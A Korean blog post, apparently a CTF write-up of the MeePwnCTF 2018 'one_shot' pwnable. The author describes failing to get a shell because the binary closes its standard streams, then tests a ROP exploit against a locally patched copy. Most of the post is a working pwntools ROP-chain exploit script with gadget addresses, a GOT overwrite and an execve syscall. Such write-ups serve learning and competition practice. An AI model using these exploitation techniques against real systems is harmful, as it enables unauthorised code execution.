[MeePwnCTF 2018] one_shot (대회 당시 삽질한 글)
2018. 7. 26. 14:49
몇일전에 있었던 MeePwnCTF에 나온 one_shot문제이다. 디스어셈블링해보면 프로그램 실행 후
read함수로 사용자로부터 0x234만큼 받고, stdin, stdout, stderr 모두 close()로 닫아버린다.
이것때문에 평범하게 쉘을 못띄운다 ㅡㅡ;
그래서 리버스쉘을 사용해야하는데... 나는 그것도 모르고 execve("/bin/sh", 0, 0)을 ROP로 실행시켰는데!!!
왜 쉘이 안띄워지는것이냐!! 하면서 미쳐버리는줄 알았다... 하;
strace로 추적해본 결과... execve("/bin/sh", 0, 0)가 실행되긴한다 ㅡㅡ; 그러나 stdin, stdout이 죽어버렸는데 뭘 할수 있을꼬...
어쨋든 그러한 것이고...
혹시나해서 one_shot파일을 patch하여 stdin,stdout이 닫히지않았을때는 과연 내 payload가 먹히는지 실험해보았다.
0,1,2를 닫게하는게 원래 코드인데, 대충 수정해서 0,1,2는 안닫히게 해보았다.
우왕... 너무 잘되는것... ㅂㄷㅂㄷ
다음 포스팅은 리버스쉘을 사용해서 flag를 획득하는 것을 해보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | #!/usr/bin/env python from pwn import * elf = ELF("./one_shot_patch") conn = process("./one_shot_patch") check = 0x8a919ff0 exit_got = 0x601038 alarm_plt = 0x400520 rdi_store_and_plus4 = 0x400665 # mov [rbp+var_18], rdi mov_eax = 0x004006f7 # mov eax, dword [rbp-0x0C] ; pop rbx ; pop rbp ; ret ; (1 found) store_bss = 0x40079C # mov [rbp-4], eax pop_rbp = 0x00400774 pop_rdi = 0x00400843 #pop rdi ; ret ; (1 found) ret = 0x0040085c ecx_set = 0x04006D8 # movsx ecx, [rbp+var_1D] #0x004004ea: add byte [rax-0x7B], cl ; sal byte [rdx+rax-0x01], 0xFFFFFFD0 ; add rsp, 0x08 ; ret ; (1 found) add_raxad = 0x004004ea ### check pass & exit@got overwrite => ret payload = p32(check) payload += "\x00"*0x7c + p64(elf.bss()+200+0x18) payload += p64(pop_rdi) payload += p64(ret) payload += p64(rdi_store_and_plus4) payload += p64(0xdeadbeef) payload += p64(elf.bss()+200+0x0c) payload += p64(mov_eax) payload += p64(0xdeadbeef) payload += p64(exit_got + 0x4) payload += p64(store_bss) ###make syscall payload += p64(pop_rbp) payload += p64(elf.bss()+0xF0+0x18) payload += p64(pop_rdi) payload += p64(0x60110e) payload += p64(rdi_store_and_plus4) payload += p64(pop_rbp) payload += p64(elf.bss()+0x110+0x18) payload += p64(pop_rdi) payload += p64(elf.got['read']+0x7B) payload += p64(rdi_store_and_plus4) payload += p64(pop_rbp) payload += p64(elf.bss()+0xF0+0x1D) payload += p64(ecx_set) payload += p64(0xdeadbeef) payload += p64(elf.bss()+0x110+0x0c) payload += p64(mov_eax) payload += p64(0) # ebx payload += p64(elf.bss()+0x40+0x4) #tmp payload += p64(add_raxad) payload += p64(0xdeadbeef) #now close is syscall! binsh00 = "\x2f\x62\x69\x6e\x2f\x73\x68\x00" payload += p64(pop_rdi) payload += binsh00 payload += p64(alarm_plt) payload += p64(alarm_plt) payload += p64(store_bss) payload += p64(pop_rbp) payload += p64(elf.bss()+0x44+0x4) payload += p64(pop_rdi) payload += binsh00[4:]+"\x00\x00\x00\x00" payload += p64(alarm_plt) payload += p64(alarm_plt) payload += p64(store_bss) pop_r12_15 = 0x0040083c #0x0040083c: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) mov_rdx = 0x00400820 #mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) payload += p64(pop_rdi) payload += p64(59) payload += p64(alarm_plt) payload += p64(alarm_plt) payload += p64(pop_rbp) payload += p64(1) payload += p64(pop_r12_15) payload += p64(elf.got['read']) payload += p64(0) payload += p64(0) payload += p64(elf.bss()+0x40) payload += p64(mov_rdx) log.info("payload_len : %d <= 564" % len(payload)) conn.send(payload) conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[Codegate 2014] nuclear (0) | 2018.08.05 |
---|---|
[MeePwnCTF 2018] one_shot writeup (0) | 2018.07.26 |
[RCTF 2017] Recho (0) | 2018.07.10 |
[Defcon 2016 Quals] feedme (0) | 2018.07.09 |
[34C3 CTF 2017] readme_revenge (0) | 2018.07.02 |